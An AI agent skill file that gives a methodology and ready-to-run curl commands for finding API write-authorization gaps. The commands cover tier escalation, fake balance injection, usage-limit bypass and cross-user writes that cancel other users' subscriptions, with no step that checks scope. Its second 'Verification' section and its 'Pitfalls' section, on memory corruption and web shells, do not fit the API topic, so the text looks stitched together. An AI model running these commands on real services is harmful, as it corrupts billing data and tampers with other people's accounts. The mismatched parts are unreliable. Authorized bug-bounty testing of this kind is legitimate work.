hunt-write-gap – skill Viết lách & Nội dung cho agent AI

When to Use

You have authenticated access to a target and can READ your own data (profile, settings, records), but need to test if you can MODIFY data beyond your authorization level. This is the #1 pattern in Supabase-backed SaaS and increasingly common in Firebase, custom REST APIs, and GraphQL backends.

The pattern: GET /resource returns only your data (RLS/auth working). PATCH /resource lets you change anything including tier, role, balance, and subscription status.

---

Phase 1 — Identify Writeable Endpoints

From prior recon (schema enumeration, JS bundle analysis), build a list of endpoints that accept write methods:

TARGET="https://api.target.com"
TOKEN="<your_auth_token>"

# Test common write methods on all discovered endpoints
for ep in users subscribers profiles accounts settings; do
  for method in PATCH PUT POST; do
    code=$(curl --max-time 30 --connect-timeout 10 -sk -X "$method" -w "%{http_code}" -o /tmp/resp.txt \
      "${TARGET}/${ep}" \
      -H "Authorization: Bearer ${TOKEN}" \
      -H "Content-Type: application/json" -d '{}' 2>/dev/null)
    if [ "$code" != "404" ] && [ "$code" != "405" ]; then
      echo "  $method /${ep}: HTTP $code"
    fi
  done
done

A 200/400 response means the endpoint EXISTS and accepts writes. 404 means it doesn't exist. 405 means wrong method.

---

Phase 2 — Test Write Operations

For each confirmed writeable endpoint, test if you can modify privileged fields:

# Tier/role escalation
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=eq.${USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"tier_id":"<PRO_TIER_ID>","subscribed":true}'

# Balance manipulation  
curl --max-time 30 --connect-timeout 10 -sk -X POST "${TARGET}/movements" \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","amount":999999,"type":"income"}'

# Profile tampering
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/profiles?user_id=eq.${USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"full_name":"HACKED","avatar_url":"https://evil.com/pwned.png"}'

# AI/rate limits bypass
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/ai_usage_limits?user_id=eq.${USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"document_analysis_limit":99999}'

---

Phase 3 — Test for Cross-User Writes (IDOR Write)

After confirming your own data is writable, test if you can modify OTHER users:

# Try to write with a filter targeting other users
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=neq.${MY_USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"subscribed":false}'  # Try to cancel others' subscriptions

# Response: [] (empty = RLS blocked cross-user write — GOOD)
# Response: [{...}] (data returned = RLS MISSING for cross-user write — CRITICAL)

---

Field-Confirmed Patterns

| Pattern | Endpoint | Impact |

|---------|----------|--------|

| Tier upgrade | PATCH /subscribers | Free → Pro, lifetime subscription |

| Balance injection | POST /movements | Fake income, corrupt analytics |

| Profile hijack | PATCH /profiles | Name/avatar changed, phishing vector |

| AI limits bypass | PATCH /ai_usage_limits | Unlimited AI processing |

| Rate limit removal | PATCH /rate_limits | Bypass all usage quotas |

| Config tampering | PATCH /settings | Modify global app configuration |

---

Verification

• Confirmed write gap: PATCH/POST returns 200 with modified data in response body. Verify by GET-ing the same resource.
• Protected: Returns 401/403 or silently drops unauthorized fields.
• False positive: Endpoint accepts the request but doesn't actually persist changes (verify with GET).

---

What Next

• If write gap confirmed → report as CRITICAL (privilege escalation + business logic bypass)
• If cross-user write works → report as CRITICAL (IDOR write = full account takeover of all users)
• If only own data writable → check hunt-business-logic for economic impact of self-modification

---

Verification

Run this self-test to confirm write-gap hunting readiness:

1. Skill integrity — confirm the skill file is readable and well-formed:

   grep -q "name: hunt-write-gap" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. Category check — confirm the skill has a category:

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. Pitfalls section — confirm pitfalls are documented:

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   

All 3 tests verify the skill is properly structured and ready for use.

---

Pitfalls

• Write-what-where primitive without exploitation — the ability to write arbitrary data to arbitrary addresses is the finding. Need to demonstrate what the write achieves.
• Race condition write vs atomic write — if the write is atomic (single instruction), it may not be exploitable. Need a race window.
• File write without execution — writing to disk is a primitive. Need ability to execute the written content (web shell, cron job, DLL hijack).
• Memory corruption write without control — crashing the server isn't a finding. Need controlled write with predictable impact.